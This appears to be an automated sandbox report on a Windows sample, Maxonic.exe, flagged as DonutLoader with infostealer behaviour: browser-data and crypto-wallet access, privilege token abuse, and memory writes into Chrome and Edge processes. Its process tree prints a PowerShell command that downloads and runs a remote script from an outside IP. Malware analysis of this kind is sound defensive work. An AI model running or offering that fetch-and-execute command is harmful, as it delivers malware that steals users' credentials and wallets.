Analysis
- max time kernel
298s - max time network
291s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system - submitted
22/11/2025, 14:38
Static task
static1
Behavioral task
behavioral1
Sample
Maxonic.exe
Resource
win10v2004-20251016-en
Behavioral task
behavioral2
Sample
Maxonic.exe
Resource
win10ltsc2021-20251017-en
Behavioral task
behavioral3
Sample
Maxonic.exe
Resource
win11-20251015-en
General
- Target Maxonic.exe
- Size 191KB
- Sample251122-rzsatstjer
- SHA256 658d3acfc7e71d6b3451973ab8c207dca57264f9b17fc9e37c8b7a1e46561489
- MD5 406b19cce1916b77a34537f4cc7cd19c
- SHA1 1f9e3d5203912defb6bbe9ffc7eacaa8a55fa8d8
- SHA512 2c2b9f64734fc20d69249b095358791d5c0e18051e0613b6f2b3a33e6b1882a42db80d4e1bac1d5a827b4e7357809d24848fbb2af055edb8f4cd3097cefbe257
- SSDEEP 3072:Ge3Co6YLc3fyoqvKBZmnn61Vh4pRPjISSU76gtPEzbiV0a8ko61fjAZf:GdYQ3z5BZmqVhiZjugVEsZjAZf
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detects DonutLoader 1 IoCs
resource yara_rule behavioral3/memory/4752-3-0x0000012C4F240000-0x0000012C4F302000-memory.dmp family_donutloader - DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 3800 powershell.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Maxonic.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Maxonic.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4752 Maxonic.exe 4752 Maxonic.exe 3800 powershell.exe 3800 powershell.exe - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 3800 powershell.exe Token: SeIncreaseQuotaPrivilege 3800 powershell.exe Token: SeSecurityPrivilege 3800 powershell.exe Token: SeTakeOwnershipPrivilege 3800 powershell.exe Token: SeLoadDriverPrivilege 3800 powershell.exe Token: SeSystemProfilePrivilege 3800 powershell.exe Token: SeSystemtimePrivilege 3800 powershell.exe Token: SeProfSingleProcessPrivilege 3800 powershell.exe Token: SeIncBasePriorityPrivilege 3800 powershell.exe Token: SeCreatePagefilePrivilege 3800 powershell.exe Token: SeBackupPrivilege 3800 powershell.exe Token: SeRestorePrivilege 3800 powershell.exe Token: SeShutdownPrivilege 3800 powershell.exe Token: SeDebugPrivilege 3800 powershell.exe Token: SeSystemEnvironmentPrivilege 3800 powershell.exe Token: SeRemoteShutdownPrivilege 3800 powershell.exe Token: SeUndockPrivilege 3800 powershell.exe Token: SeManageVolumePrivilege 3800 powershell.exe Token: 33 3800 powershell.exe Token: 34 3800 powershell.exe Token: 35 3800 powershell.exe Token: 36 3800 powershell.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4752 wrote to memory of 2592 4752 Maxonic.exe 78 PID 4752 wrote to memory of 2592 4752 Maxonic.exe 78 PID 4752 wrote to memory of 2592 4752 Maxonic.exe 78 PID 4752 wrote to memory of 1752 4752 Maxonic.exe 80 PID 4752 wrote to memory of 1752 4752 Maxonic.exe 80 PID 4752 wrote to memory of 1752 4752 Maxonic.exe 80 PID 4752 wrote to memory of 4504 4752 Maxonic.exe 82 PID 4752 wrote to memory of 4504 4752 Maxonic.exe 82 PID 4752 wrote to memory of 4504 4752 Maxonic.exe 82 PID 4752 wrote to memory of 2260 4752 Maxonic.exe 84 PID 4752 wrote to memory of 2260 4752 Maxonic.exe 84 PID 4752 wrote to memory of 2260 4752 Maxonic.exe 84 PID 4752 wrote to memory of 3800 4752 Maxonic.exe 86 PID 4752 wrote to memory of 3800 4752 Maxonic.exe 86 PID 4752 wrote to memory of 3800 4752 Maxonic.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"1⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4752 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:2592
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1752
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:4504
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:2260
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://95.217.39.238/ooewqi.ps1 |iex"2⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3800
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:4088
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:1608
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:4604
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:1988
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\E972B6B7-E98C-B7B3-60CF-940B28671CE3.txt
- Size 64B
- SHA256 c02ece9615942311bc2db28ccb867b62974e1b2762b73b9b7719862d33a1b8fe
- MD5 e9cb7a9e5ae6aec1bcdbd7e22fdc6bad
- SHA1 697f0325be42c915bf05ec0310e7e0ef2b2efe2c
- SHA512 c27c4e567b5b4496e0f0c0f72ff0d28fc18ac7f85e49651d8831e86966ea70589416c293bcdced39b6b046f0354bb3d00322ac751870c38628d32a2aa16a0553
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e1fds0p3.je2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512